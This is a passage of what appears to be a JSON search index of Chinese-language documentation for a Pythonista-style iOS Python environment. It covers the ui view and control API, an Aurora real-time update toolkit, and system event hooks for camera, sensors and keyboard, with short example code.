图片显示 `WebView(frame=...)` 网页显示 `TableView(frame=...)` 表格列表 `Switch(frame=...)` 开关 `Slider(frame=...)` 滑块 `SegmentedControl(frame=...)` 分段控件 `DatePicker(frame=...)` 日期选择 `ProgressView(frame=...)` 进度条 `NavigationView(view)` 命令式导航容器 `ScrollView(frame=...)` 滚动容器 输入回调 ui 的回调通常接收 sender。按钮点击后修改 sender 或其它已保存的视图引用。 import ui\n\n\ndef slider_changed(sender):\n label.text = f\"{sender.value:.0%}\"\n\n\nview = ui.View(frame=(0, 0, 320, 180))\nlabel = ui.Label(frame=(40, 40, 240, 32), text=\"50%\")\nslider = ui.Slider(frame=(40, 88, 240, 32))\nslider.value = 0.5\nslider.action = slider_changed\n\nview.add_subview(label)\nview.add_subview(slider)\nview.present(\"sheet\") 绘图 自定义绘图通过重写 draw(),或使用离屏图片上下文。 import ui\n\n\nclass Badge(ui.View):\n def draw(self):\n ui.set_color(\"#3478F6\")\n ui.fill_rect(0, 0, self.width, self.height)\n ui.draw_string(\n \"42\",\n rect=(0, 10, self.width, 40),\n font=(\"\", 28),\n color=\"white\",\n alignment=ui.ALIGN_CENTER,\n )\n\n\nbadge = Badge(frame=(0, 0, 96, 64))\nbadge.present(\"sheet\") 工具函数 API 用途 `parse_color(value)` 解析颜色 `parse_font(value)` 解析字体 `measure_string(text, ...)` 测量文本尺寸 `delay(seconds, func)` 延迟执行 `cancel_delays()` 取消 delay `in_background(func)` 后台线程装饰器 `animate(animation, duration=...)` 执行动画 `get_screen_size()` 屏幕尺寸 `get_keyboard_frame()` 键盘 frame `load_view(...)` 加载 `.pyui` `dump_view(view)` 调试视图树 失败路径 情况 应该怎么处理 页面空白 确认已创建根 `ui.View`,设置了非零 `frame`,并调用 `present(...)`。 点击无反应 回调要赋函数对象,例如 `button.action = tapped`,不要写成 `tapped()`。 布局错位 检查 `frame`、`flex` 和父视图尺寸;复杂响应式页面优先改用 `appui`。 输入或列表状态难维护 把新页面迁到 `appui.State`、`Form`、`List` 和 `NavigationStack`。 使用规则 ui 页面必须显式设置 frame 或 flex。 不要把 ui 组件和 appui 组件放进同一棵界面树。 需要系统原生列表、设置、导航和响应式状态时优先用 appui。 回调传函数本身,例如 button.action = tapped,不要写成 button.action = tapped()。" + }, + { + "id": "ui-api-index", + "title": "ui API 索引", + "subtitle": "按类族、工具函数和常量族快速查 ui 公开名称。", + "section": "ui / API 参考", + "url": "pages/ui-api-index/", + "text": "ui API 索引 按类族、工具函数和常量族快速查 ui 公开名称。 ui API 参考 ui API Index ui api index ui 索引 tableview imagecontext canvasview gesture recognizer keyboard constants ui API 索引 按类族、工具函数和常量族快速查 ui 公开名称。 预期效果 示例会展示 ui.View、ui.Button 和 present() 的最小组合;索引用来快速定位类、函数、常量和常见方法族。 最小入口 import ui\n\n\ndef tapped(sender):\n sender.title = \"Tapped\"\n\n\nview = ui.View(frame=(0, 0, 320, 220))\nview.name = \"ui demo\"\n\nbutton = ui.Button(frame=(40, 88, 240, 44), title=\"Tap\")\nbutton.action = tapped\n\nview.add_subview(button)\nview.present(\"sheet\") 先看哪一类 你要做什么 先看 打开一个简单命令式页面 `View`、`Button`、`present` 做标签、输入、开关、滑块 `Label`、`TextField`、`TextView`、`Switch`、`Slider` 做表格或滚动内容 `TableView`、`ListDataSource`、`ScrollView` 做手势交互 `TapGestureRecognizer`、`PanGestureRecognizer`、`LongPressGestureRecognizer` 做离屏绘图或自绘视图 `ImageContext`、`CanvasView`、`Path`、`draw_string` 处理颜色、字体和尺寸 `Color`、`Font`、`Rect`、`parse_color`、`measure_string` 索引 分组 名称 函数 `parse_color`, `parse_font`, `begin_image_context`, `end_image_context`, `get_image_from_current_context`, `set_color`, `fill_rect`, `stroke_rect`, `draw_string`, `get_screen_size`, `get_window_size`, `get_keyboard_frame`, `get_ui_style`, `measure_string`, `delay`, `cancel_delays`, `in_background`, `animate`, `convert_point`, `convert_rect`, `set_blend_mode`, `set_shadow`, `load_view`, `load_view_str`, `close_all`, `dump_view` 类 `Color`, `Point`, `Size`, `Rect`, `Transform`, `Touch`, `GestureSender`, `GestureRecognizer`, `TapGestureRecognizer`, `PanGestureRecognizer`, `PinchGestureRecognizer`, `SwipeGestureRecognizer`, `LongPressGestureRecognizer`, `Font`, `View`, `ButtonItem`, `Button`, `Label`, `TextField`, `TextView`, `ImageView`, `WebView`, `ActivityIndicator`, `TableView`, `ListDataSource`, `TableViewCell`, `Switch`, `Slider`, `SegmentedControl`, `DatePicker`, `ProgressView`, `Stepper`, `NavigationView`, `ScrollView`, `Path`, `GState`, `ImageContext`, `Image`, `CanvasView`, `autoreleasepool` 方法 `Color.rgb`, `Color.hex`, `Color.named`, `Point.as_tuple`, `Rect.min_x`, `Rect.min_y`, `Rect.max_x`, `Rect.max_y`, `Rect.origin`, `Rect.size`, `Rect.center`, `Rect.as_tuple`, `Rect.contains_point`, `Rect.contains_rect`, `Rect.inset`, `Rect.intersection`, `Rect.intersects`, `Rect.translate`, `Rect.union`, `Transform.rotation`, `Transform.scale`, `Transform.translation`, `Transform.concat`, `Transform.invert`, `GestureRecognizer.action`, `GestureRecognizer.action`, `TapGestureRecognizer.number_of_taps_required`, `TapGestureRecognizer.number_of_taps_required`, `TapGestureRecognizer.number_of_touches_required`, `TapGestureRecognizer.number_of_touches_required`, `SwipeGestureRecognizer.direction`, `SwipeGestureRecognizer.direction`, `LongPressGestureRecognizer.minimum_press_duration`, `LongPressGestureRecognizer.minimum_press_duration`, `Font.system_font_of_size`, `Font.bold_system_font_of_size`, `Font.italic_system_font_of_size`, `View.frame`, `View.frame`, `View.x`, `View.x`, `View.y`, `View.y`, `View.width`, `View.width`, `View.height`, `View.height`, `View.background_color`, `View.background_color`, `View.alpha`, `View.alpha`, `View.hidden`, `View.hidden`, `View.corner_radius`, `View.corner_radius`, `View.border_width`, `View.border_width`, `View.title`, `View.title`, `View.content_mode`, `View.content_mode`, `View.touch_enabled`, `View.touch_enabled`, `View.multitouch_enabled`, `View.multitouch_enabled`, `View.transform`, `View.transform`, `View.bg_color`, `View.bg_color`, `View.tint_color`, `View.tint_color`, `View.left_button_items`, `View.left_button_items`, `View.right_button_items`, `View.right_button_items`, `View.border_color`, `View.border_color`, `View.flex`, `View.flex`, `View.name`, ... (365 total) 常量 `ALIGN_LEFT`, `ALIGN_CENTER`, `ALIGN_RIGHT`, `ALIGN_JUSTIFIED`, `ALIGN_NATURAL`, `LB_WORD_WRAP`, `LB_CHAR_WRAP`, `LB_CLIP`, `LB_TRUNCATE_HEAD`, `LB_TRUNCATE_TAIL`, `LB_TRUNCATE_MIDDLE`, `KEYBOARD_DEFAULT`, `KEYBOARD_ASCII`, `KEYBOARD_NUMBERS`, `KEYBOARD_URL`, `KEYBOARD_NUMBER_PAD`, `KEYBOARD_PHONE_PAD`, `KEYBOARD_NAME_PHONE_PAD`, `KEYBOARD_EMAIL`, `KEYBOARD_DECIMAL_PAD`, `KEYBOARD_TWITTER`, `KEYBOARD_WEB_SEARCH`, `BLEND_NORMAL`, `BLEND_MULTIPLY`, `BLEND_SCREEN`, `BLEND_OVERLAY`, `BLEND_DARKEN`, `BLEND_LIGHTEN`, `BLEND_COLOR_DODGE`, `BLEND_COLOR_BURN`, `BLEND_SOFT_LIGHT`, `BLEND_HARD_LIGHT`, `BLEND_DIFFERENCE`, `BLEND_EXCLUSION`, `BLEND_HUE`, `BLEND_SATURATION`, `BLEND_COLOR`, `BLEND_LUMINOSITY`, `BLEND_CLEAR`, `BLEND_COPY`, `BLEND_SOURCE_IN`, `BLEND_SOURCE_OUT`, `BLEND_SOURCE_ATOP`, `BLEND_DESTINATION_OVER`, `BLEND_DESTINATION_IN`, `BLEND_DESTINATION_OUT`, `BLEND_DESTINATION_ATOP`, `BLEND_XOR`, `BLEND_PLUS_DARKER`, `BLEND_PLUS_LIGHTER`, `LINE_CAP_BUTT`, `LINE_CAP_ROUND`, `LINE_CAP_SQUARE`, `LINE_JOIN_MITER`, `LINE_JOIN_ROUND`, `LINE_JOIN_BEVEL`, `RENDERING_MODE_AUTOMATIC`, `RENDERING_MODE_ORIGINAL`, `RENDERING_MODE_TEMPLATE`, `CONTENT_SCALE_TO_FILL`, `CONTENT_SCALE_ASPECT_FIT`, `CONTENT_SCALE_ASPECT_FILL`, `CONTENT_REDRAW`, `CONTENT_CENTER`, `CONTENT_TOP`, `CONTENT_BOTTOM`, `CONTENT_LEFT`, `CONTENT_RIGHT`, `CONTENT_TOP_LEFT`, `CONTENT_TOP_RIGHT`, `CONTENT_BOTTOM_LEFT`, `CONTENT_BOTTOM_RIGHT`, `DATE_PICKER_MODE_TIME`, `DATE_PICKER_MODE_DATE`, `DATE_PICKER_MODE_DATE_AND_TIME`, `DATE_PICKER_MODE_COUNTDOWN`, `ACTIVITY_INDICATOR_STYLE_GRAY`, `ACTIVITY_INDICATOR_STYLE_WHITE`, `ACTIVITY_INDICATOR_STYLE_WHITE_LARGE` 失败路径 情况 应该怎么处理 页面空白 确认已创建根 `ui.View`,设置了非零 `frame`,并调用 `present(...)`。 点击无反应 回调要赋函数对象,例如 `button.action = tapped`,不要写成 `tapped()`。 布局错位 检查 `frame`、`flex` 和父视图尺寸;复杂响应式页面优先改用 `appui`。 输入或列表状态难维护 把新页面迁到 `appui.State`、`Form`、`List` 和 `NavigationStack`。 相关文档 文档 用途 [ui 概览](ui-module) Pythonista 风格原生视图、控件、手势和绘图。 [ui API 参考](ui-api-reference) 集中列出 ui 构造签名、回调入口、工具函数和常量提示。" + }, + { + "id": "aurora-toolkit", + "title": "实时更新工具", + "subtitle": "AppUI 高频更新组件、批量刷新、回调和实时可视化工具。", + "section": "ui / 实时能力", + "url": "pages/aurora-toolkit/", + "text": "实时更新工具 AppUI 高频更新组件、批量刷新、回调和实时可视化工具。 ui 实时能力 实时快路径 Realtime AppUI aurora_toolkit frame_batch high frequency realtime appui Aurora Toolkit AppUI 高频更新组件、批量刷新、回调和实时可视化工具。 预期效果 示例会展示实时更新工具如何批量刷新状态、减少高频 UI 更新的重复工作。 适用场景 AppUI 高频更新工具,只更新已有稳定 id 的节点。 标准示例 from aurora_toolkit import AuroraLabel, AuroraProgress, frame_batch\n\nlabel = AuroraLabel(\"summary\", text=\"Ready\")\nprogress = AuroraProgress(\"progress\", value=0.0)\nlabel.bind()\nprogress.bind()\n\nwith frame_batch():\n label.text = \"Working\"\n progress.value = 0.5 高频仪表盘示例 普通 AppUI 负责稳定结构,Aurora 负责高频数值。下面的 appui.Slider(value=0.0, ...) 是首屏结构占位;连续更新交给 AuroraSliderGroup 和 AuroraTextGroup。 import appui\nfrom aurora_toolkit import AuroraSliderGroup, AuroraTextGroup, frame_batch\n\nmetrics = [\n {\"id\": \"cpu\", \"title\": \"CPU\"},\n {\"id\": \"memory\", \"title\": \"Memory\"},\n {\"id\": \"network\", \"title\": \"Network\"},\n]\nsliders = AuroraSliderGroup(\"metric.slider\", len(metrics))\nlabels = AuroraTextGroup(\"metric.label\", len(metrics))\n\n\ndef metric_key(metric):\n return metric[\"id\"]\n\n\ndef metric_row(metric):\n index = metrics.index(metric)\n return appui.VStack([\n appui.Text(metric[\"title\"]).id(f\"metric.{index}.label\"),\n appui.Slider(value=0.0, minimum=0, maximum=1).id(f\"metric.{index}\"),\n ], spacing=6)\n\n\ndef push_frame(values):\n with frame_batch():\n for index, value in enumerate(values):\n sliders[index] = value\n labels[index] = f\"{metrics[index]['title']} {value:.0%}\"\n\n\ndef body():\n return appui.List([\n appui.Section(\"Live\", [\n appui.ForEach(metrics, row_builder=metric_row, key=metric_key)\n ])\n ]).navigation_title(\"Realtime\") API 参考 类型 API 签名 说明 function `frame_batch` `frame_batch() -> Any` 把同一帧里的多次更新合并提交,适合进度、数值和实时状态。 function `begin_frame` `begin_frame() -> Any` 手动开始一组批量更新,适合已有循环里控制提交时机。 function `end_frame` `end_frame() -> None` 结束并提交 `begin_frame` 开始的更新。 function `callback` `callback(event_id: str)` 为 Aurora 控件注册事件回调。 class `AuroraSlider` `AuroraSlider(node_id: str, value: float=...)` 更新滑块数值。 class `AuroraGauge` `AuroraGauge(node_id: str, value: float=...)` 更新仪表盘或数字指标。 class `AuroraProgress` `AuroraProgress(node_id: str, value: float=...)` 更新进度条。 class `AuroraStepper` `AuroraStepper(node_id: str, value: int=..., minimum: int=..., maximum: int=..., step: int=...)` 更新步进器数值。 class `AuroraLabel` `AuroraLabel(node_id: str, text: str=..., text_color: Optional[str]=...)` 更新文字内容和文字颜色。 class `AuroraTextField` `AuroraTextField(node_id: str, text: str=..., placeholder: str=...)` 更新输入框文字和占位内容。 class `AuroraToggle` `AuroraToggle(node_id: str, is_on: bool=...)` 更新开关状态。 class `AuroraView` `AuroraView(node_id: str, opacity: float=..., offset_x: float=..., offset_y: float=..., scale: float=..., rotation: float=...)` 更新视图透明度、位移、缩放和旋转。 class `AuroraPicker` `AuroraPicker(node_id: str, selection: int=..., options: Optional[list[str]]=...)` 更新选择器当前项。 class `AuroraDatePicker` `AuroraDatePicker(node_id: str, timestamp: float=...)` 更新日期选择器时间。 class `AuroraColorPicker` `AuroraColorPicker(node_id: str, r: int=..., g: int=..., b: int=..., a: int=...)` 更新颜色选择器。 class `AuroraSearchField` `AuroraSearchField(node_id: str, query: str=...)` 更新搜索框内容。 class `AuroraSecureField` `AuroraSecureField(node_id: str, text: str=...)` 更新安全输入框内容。 class `AuroraTextEditor` `AuroraTextEditor(node_id: str, text: str=...)` 更新多行文本内容。 class `AuroraButton` `AuroraButton(node_id: str, title: str=..., callback_id: str=...)` 更新按钮标题并绑定回调。 class `AuroraImage` `AuroraImage(node_id: str, system_name: str=...)` 更新系统图标名称。 class `AuroraLink` `AuroraLink(node_id: str, url: str=...)` 更新链接地址。 class `AuroraGaugeBar` `AuroraGaugeBar(node_id: str, value: float=..., min_val: float=..., max_val: float=...)` 更新带范围的指标条。 class `AuroraBadge` `AuroraBadge(node_id: str, count: int=...)` 更新角标数字。 class `AuroraSegmentedControl` `AuroraSegmentedControl(node_id: str, selection: int=..., segments: Optional[list[str]]=...)` 更新分段控件选中项。 class `AuroraSliderGroup` `AuroraSliderGroup(prefix: str, count: int)` 批量更新一组滑块或数值控件。 class `AuroraTextGroup` `AuroraTextGroup(prefix: str, count: int)` 批量更新一组文本节点。 class `AuroraImageGroup` `AuroraImageGroup(prefix: str, count: int)` 批量更新一组系统图标。 class `AuroraToggleGroup` `AuroraToggleGroup(prefix: str, count: int)` 批量更新一组开关。 class `AuroraIntGroup` `AuroraIntGroup(prefix: str, count: int)` 批量更新一组整数选择值。 class `AuroraColorGroup` `AuroraColorGroup(prefix: str, count: int)` 批量更新一组颜色值。 class `AuroraPointGroup` `AuroraPointGroup(prefix: str, count: int)` 批量更新一组地图点位。 class `AuroraAudioGroup` `AuroraAudioGroup(band_count: int=...)` 读取实时音频频段数据,用于音频可视化。 class `AuroraMap` `AuroraMap(node_id: str, lat: float=..., lon: float=..., span: float=...)` 更新地图中心、缩放范围和大量标记点。 class `AuroraNavigator` `AuroraNavigator(node_id: str=...)` 控制轻量页面跳转。 失败路径 情况 应该怎么处理 高频更新仍卡顿 减少每次更新的字段数量,批量提交相关变化。 状态不同步 确认 UI 展示只读取同一份状态,不混用临时副本。 页面结构变化频繁 结构变化交给普通 AppUI 重建,实时工具只处理已有控件的属性变化。 调试困难 先降到普通 `State` 写法,确认逻辑正确后再接入实时更新。 使用规则 首屏结构仍用 appui 构建,Aurora 只负责高频值。 批量写入用 frame_batch。 普通低频表单不要过早使用 Aurora。" + }, + { + "id": "aurora-system", + "title": "系统实时能力", + "subtitle": "相机、照片、传感器、音频和系统状态的实时事件入口。", + "section": "ui / 实时能力", + "url": "pages/aurora-system/", + "text": "系统实时能力 相机、照片、传感器、音频和系统状态的实时事件入口。 ui 实时能力 实时快路径 Realtime Sensors aurora_system camera sensor audio keyboard height realtime Aurora System 相机、照片、传感器、音频和系统状态的实时事件入口。 预期效果 示例会展示系统实时事件如何启动、收到回调并在结束时停止监听。 适用场景 Aurora 原生实时信号入口,用于相机、照片、传感器、音频、键盘高度和深浅色变化。 标准示例 import aurora_system\n\ndef handle_keyboard(height):\n print(\"keyboard height\", height)\n\naurora_system.on_keyboard_height(handle_keyboard)\naurora_system.system_state_setup()\n# Later, when the page closes:\naurora_system.system_state_teardown() API 参考 类型 API 签名 说明 function `camera_setup` `camera_setup(position: str=...) -> bool` 初始化相机会话,`position` 常用 `\"back\"` 或 `\"front\"`。 function `camera_capture` `camera_capture(callback: Callable[[str], None] \\| None=...) -> bool` 触发拍照,结果路径交给回调或 `on_camera_result`。 function `camera_teardown` `camera_teardown() -> Any` 停止相机并释放资源。 function `photos_pick` `photos_pick(callback: Callable[[list[str]], None] \\| None=..., limit: int=..., filter: str=...) -> bool` 打开系统相册选择器。 function `on_photos_picked` `on_photos_picked(callback: Callable[[list[str]], None]) -> Any` 注册相册选择结果回调。 function `sensor_start` `sensor_start(hz: float=...) -> Any` 按指定频率启动陀螺仪和加速度数据流。 function `sensor_stop` `sensor_stop() -> Any` 停止传感器数据流。 function `audio_start` `audio_start(handle_base: int=...) -> bool` 启动麦克风采样并推送音频频段数据。 function `audio_stop` `audio_stop() -> bool` 停止麦克风采样并释放资源。 function `system_state_setup` `system_state_setup() -> Any` 开始监听键盘高度和界面深浅色变化。 function `system_state_teardown` `system_state_teardown() -> Any` 停止监听系统状态。 function `on_camera_result` `on_camera_result(callback: Callable[[str], None]) -> Any` 注册相机结果回调。 function `on_keyboard_height` `on_keyboard_height(callback: Callable[[float], None]) -> Any` 注册键盘高度变化回调。 function `on_style_change` `on_style_change(callback: Callable[[str], None]) -> Any` 注册浅色/深色界面变化回调。 失败路径 情况 应该怎么处理 没有收到事件 确认已调用对应 setup/start 函数,并在退出时调用 teardown/stop。 权限未授权 先用 `permission` 查询或请求权限,再启动实时事件。 事件过于频繁 只保存需要展示的字段,必要时节流更新 AppUI 状态。 页面关闭后仍回调 在关闭、停止或异常路径里释放监听。 使用规则 所有 setup/start 都要有 teardown/stop。 回调用命名函数,不要用 lambda 作为长期监听。 不要在回调里反复 appui.run() 或重建界面。" + }, + { + "id": "ui-module", + "title": "ui 概览", + "subtitle": "Pythonista 风格原生 UI 组件与交互。", + "section": "ui / 快速上手", + "url": "pages/ui-module/", + "text": "ui 概览 Pythonista 风格原生 UI 组件与交互。 ui 快速上手 Views Controls Animation ui view button label textfield tableview webview animate gesture ui 概览 Pythonista 风格原生 UI 组件与交互。 预期效果 运行示例后会出现一个手动 frame 布局的原生 sheet,点击按钮会直接修改按钮标题。 适用场景 Pythonista 风格命令式 UI,使用 frame/flex 手动布局;新 MiniApp 默认优先用 appui。 先选写法 需求 首选 原因 迁移 Pythonista 风格的 `ui` 脚本 `ui` 代码通常已经按 `View`、`frame`、`action(sender)` 组织。 新建设置页、表单、列表或多页面工具 `appui` 状态、导航、输入和动态列表更容易维护。 需要 Sprite、触摸循环、物理或逐帧绘制 `scene` 场景生命周期和渲染循环更适合动画与小游戏。 只需要桌面小组件 `widget` 小组件有独立的 WidgetKit 约束和刷新模型。 只想生成一张图片或画布 `ui.ImageContext` / `CanvasView` 不需要完整页面时,离屏绘图更轻。 标准示例 import ui\n\ndef tapped(sender):\n sender.title = \"Tapped\"\n\nview = ui.View(frame=(0, 0, 320, 220))\nview.name = \"ui demo\"\nbutton = ui.Button(frame=(40, 80, 240, 44), title=\"Tap\")\nbutton.action = tapped\nview.add_subview(button)\nview.present(\"sheet\") 写 ui 的心智模型 根视图:创建一个有明确尺寸的 ui.View(frame=...)。 子视图:按钮、标签、输入框和图片用 add_subview(...) 挂到父视图。 布局:用 frame 设定初始位置,用 flex 处理简单的横竖屏变化。 交互:控件回调接收 sender,在回调里修改标题、文本、颜色或子视图。 呈现:脚本末尾调用一次 present(...),不要在导入模块时弹出多个页面。 迁移:当状态、列表和导航开始变复杂,就把新页面迁到 appui。 API 参考 类型 API 签名 说明 class `Color` `Color(r: float, g: float, b: float, a: float=1.0) -> None` 颜色类,兼容Pythonista的ui.Color class `Point` `Point(x: Union[float, Sequence[float]]=0.0, y: float=0.0) -> None` 二维点,兼容 Pythonista 的 ui.Point class `Size` `Size(w: Union[float, Sequence[float]]=0.0, h: float=0.0) -> None` 尺寸,兼容 Pythonista 的 ui.Size class `Rect` `Rect(x: Union[float, Sequence[float]]=0.0, y: float=0.0, w: float=0.0, h: float=0.0) -> None` 矩形,兼容 Pythonista 的 ui.Rect class `Transform` `Transform(a: float=1.0, b: float=0.0, c: float=0.0, d: float=1.0, tx: float=0.0, ty: float=0.0) -> None` 2D 仿射变换,兼容 Pythonista 的 ui.Transform class `Touch` `Touch(location: Sequence[float]=..., prev_location: Optional[Sequence[float]]=..., phase: str=..., touch_id: int=..., timestamp: Union[int, float]=...) -> None` 触摸事件,兼容 Pythonista 的 ui.Touch(简化实现) class `GestureSender` `GestureSender(view: Optional[View]=..., state: int=..., location: Sequence[float]=..., translation: Sequence[float]=..., scale: float=..., direction: int=...) -> None` 手势识别器回调的 sender 对象,兼容 Pythonista(state, location, translation, scale, direction) class `GestureRecognizer` `GestureRecognizer(gesture_id: str) -> None` 手势识别器基类,兼容 Pythonista(action(sender)) class `TapGestureRecognizer` `TapGestureRecognizer() -> None` 点击手势(Pythonista 兼容) class `PanGestureRecognizer` `PanGestureRecognizer() -> None` 拖动手势(Pythonista 兼容) class `PinchGestureRecognizer` `PinchGestureRecognizer() -> None` 捏合手势(Pythonista 兼容) class `SwipeGestureRecognizer` `SwipeGestureRecognizer() -> None` 滑动手势(Pythonista 兼容),direction: LEFT=1, RIGHT=2, UP=3, DOWN=4 class `LongPressGestureRecognizer` `LongPressGestureRecognizer() -> None` 长按手势(Pythonista 兼容) function `parse_color` `parse_color(color: Any) -> Tuple[float, float, float, float]` 解析颜色参数为RGBA元组,支持语义色(systemBackground 等)自适应深色/浅色模式 class `Font` `Font(name: str=..., size: float=...) -> None` 字体类,兼容Pythonista的ui.Font function `parse_font` `parse_font(font: Any) -> Tuple[str, float]` 解析字体参数为(name, size)元组 class `View` `View(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 视图基类,所有UI组件的父类 class `ButtonItem` `ButtonItem(title: str=..., image: Any=..., action: Optional[Callable[..., Any]]=..., **kwargs: Any) -> None` 导航栏按钮项,用于 left_button_items / right_button_items class `Button` `Button(frame: Optional[_Frame]=..., title: str=..., **kwargs: Any) -> None` 按钮组件 class `Label` `Label(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None` 文本标签组件 class `TextField` `TextField(frame: Optional[_Frame]=..., text: str=..., placeholder: str=..., **kwargs: Any) -> None` 单行文本输入组件 class `TextView` `TextView(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None` 多行文本输入组件 class `ImageView` `ImageView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 图片显示组件 class `WebView` `WebView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 网页视图 class `ActivityIndicator` `ActivityIndicator(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 加载指示器 class `TableView` `TableView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 表格视图 class `ListDataSource` `ListDataSource() -> None` TableView 数据源协议 子类实现 tableview_number_of_sections, tableview_number_of_rows, tableview_cell_for_row 等 class `TableViewCell` `TableViewCell(style: str=..., **kwargs: Any) -> None` 表格行单元,兼容 Pythonista class `Switch` `Switch(frame: Optional[_Frame]=..., value: bool=..., **kwargs: Any) -> None` 开关组件 class `Slider` `Slider(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 滑块组件 class `SegmentedControl` `SegmentedControl(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 分段控制器 class `DatePicker` `DatePicker(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 日期时间选择器 class `ProgressView` `ProgressView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 进度条组件,兼容 Pythonista 的 ui.ProgressView class `Stepper` `Stepper(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 步进器组件,兼容 Pythonista 的 ui.Stepper class `NavigationView` `NavigationView(view: Optional[View]=..., **kwargs: Any) -> None` 导航视图,支持 push_view / pop_view 兼容 Pythonista 的 ui.NavigationView class `ScrollView` `ScrollView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 滚动视图,兼容 Pythonista 的 ui.ScrollView 可容纳超出可见区域的子视图并支持滚动 class `Path` `Path() -> None` 路径类,兼容 Pythonista 的 ui.Path 在 ImageContext 内使用 class `GState` `GState()` with ui.GState(): 保存和恢复绘图状态 class `ImageContext` `ImageContext(width: float, height: float) -> None` 离屏绘图上下文,兼容 Pythonista 的 ui.ImageContext with ui.ImageContext(100, 100) as ctx: ui.set_color('red') ui.fill_rect(0, 0, 50, 50) img = ctx.get_image() # 可在 with 块内调用,会立即结束上下文并返回图像 class `Image` `Image(data: bytes=...) -> None` 图像类,兼容 Pythonista 的 ui.Image function `begin_image_context` `begin_image_context(width: float, height: float) -> None` Start an image drawing context (Pythonista-compatible standalone function). function `end_image_context` `end_image_context() -> None` End the current image drawing context. function `get_image_from_current_context` `get_image_from_current_context() -> Image` Capture the current drawing context as an Image. Call before end_image_context() to get the drawn image, or after end_image_context() to retrieve the last captured result. function `set_color` `set_color(color: _ColorLike) -> None` 设置当前绘图颜色 function `fill_rect` `fill_rect(x: float, y: float, w: float, h: float) -> None` 填充矩形 function `stroke_rect` `stroke_rect(x: float, y: float, w: float, h: float) -> None` 描边矩形 function `draw_string` `draw_string(text: str, rect: Any=..., font: _FontLike=..., color: _ColorLike=..., alignment: int=..., line_break_mode: int=...) -> None` 绘制字符串 rect: (x, y, w, h) 元组 class `CanvasView` `CanvasView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` 画布视图,通过 render(draw_func) 自绘内容 兼容 Pythonista 的 ui 画布用法 function `get_screen_size` `get_screen_size() -> Tuple[float, float]` 获取屏幕尺寸 function `get_window_size` `get_window_size() -> Size` 获取窗口尺寸(同 get_screen_size) function `get_keyboard_frame` `get_keyboard_frame() -> Tuple[float, float, float, float]` 获取键盘在屏幕上的 frame (x, y, width, height);未显示时为 (0, 0, 0, 0)(Pythonista 兼容) function `get_ui_style` `get_ui_style() -> str` 获取当前 UI 风格:'light' 或 'dark'(Pythonista 兼容) function `measure_string` `measure_string(text: str, max_width: float=..., font: _FontLike=..., alignment: int=..., line_break_mode: int=...) -> Tuple[float, float]` 测量字符串尺寸,返回 (width, height) function `delay` `delay(seconds: float, func: Callable[..., Any]) -> None` 延迟 seconds 秒后执行 func(Pythonista 兼容)。可用 cancel_delays() 取消未执行的 delay。 function `cancel_delays` `cancel_delays() -> None` 取消所有通过 delay() 调度且尚未执行的回调(Pythonista 兼容) function `in_background` `in_background(fn: Callable[..., Any]) -> Callable[..., None]` 装饰器:在后台线程执行函数 function `animate` `animate(animation: Callable[[], Any], duration: float=..., delay_sec: float=..., completion: Optional[Callable[[], Any]]=...) -> None` 执行动画。按指定延迟执行动画回调,并在 duration 秒后执行 completion。注意:回调异步执行,适合轻量属性更新。 function `convert_point` `convert_point(point: Any=..., from_view: Optional[View]=..., to_view: Optional[View]=...) -> Point` 坐标转换。from_view/to_view 为 None 表示窗口坐标系 function `convert_rect` `convert_rect(rect: Any=..., from_view: Optional[View]=..., to_view: Optional[View]=...) -> Rect` 矩形坐标转换 function `set_blend_mode` `set_blend_mode(mode: int) -> None` 设置绘图混合模式 (BLEND_* 常量) function `set_shadow` `set_shadow(color: Optional[_ColorLike], offset_x: float, offset_y: float, blur_radius: float) -> None` 设置阴影。color 为 None 时清除阴影 class `autoreleasepool` `autoreleasepool()` autoreleasepool 上下文(Python 中为 no-op) function `load_view` `load_view(name: Optional[str]=..., bindings: Optional[Dict[str, Any]]=..., stackframe: Any=..., verbose: bool=...) -> View` 加载 .pyui 文件。 name: 文件名(不含扩展名会自动加 .pyui) bindings: 名称到可调用对象的映射,用于绑定 action 等 function `load_view_str` `load_view_str(json_str: str, bindings: Optional[Dict[str, Any]]=..., stackframe: Any=..., verbose: bool=...) -> View` 从 JSON 字符串加载视图 function `close_all` `close_all(animated: bool=...) -> None` 关闭所有已展示的 UI 界面(Pythonista 兼容) function `dump_view` `dump_view(view: View, indent: int=...) -> None` 调试输出视图树(Pythonista 兼容) 失败路径 情况 应该怎么处理 页面空白 确认已创建根 `ui.View`,设置了非零 `frame`,并调用 `present(...)`。 点击无反应 回调要赋函数对象,例如 `button.action = tapped`,不要写成 `tapped()`。 布局错位 检查 `frame`、`flex` 和父视图尺寸;复杂响应式页面优先改用 `appui`。 输入或列表状态难维护 把新页面迁到 `appui.State`、`Form`、`List` 和 `NavigationStack`。 发布前检查 检查项 合格标准 根视图 有非零 `frame`,并设置清晰的 `name` 或标题。 子视图 所有控件都已加入父视图,位置不依赖魔法数字之外的隐式状态。 回调 `action` 传函数对象,不写成 `action=handler()`。 布局 横竖屏或不同窗口尺寸下,关键控件不会移出可见区域。 边界 新功能不混用 `ui` 和 `appui` 组件树。 使用规则 不要把 ui 组件和 appui 组件混在同一棵界面树里。 需要响应式原生表单、列表或导航时优先选 appui。 ui 页面必须显式设置 frame/flex,并通过 present(...) 呈现。" + }, + { + "id": "widget-module", + "title": "widget", + "subtitle": "Python 编写 WidgetKit 小组件:参数、状态、布局与发布到桌面。", + "section": "widget / 小组件", + "url": "pages/widget-module/", + "text": "widget Python 编写 WidgetKit 小组件:参数、状态、布局与发布到桌面。 widget 小组件 Home Screen Lock Screen StandBy WidgetKit param state widget 小组件 WidgetKit widgetkit widget.param widget.state widget.render previewWidget home screen lock screen standby 主屏 锁屏 发布小组件 widget 用 Python 描述主屏、锁屏与 StandBy 小组件;由 PythonIDE + WidgetKit 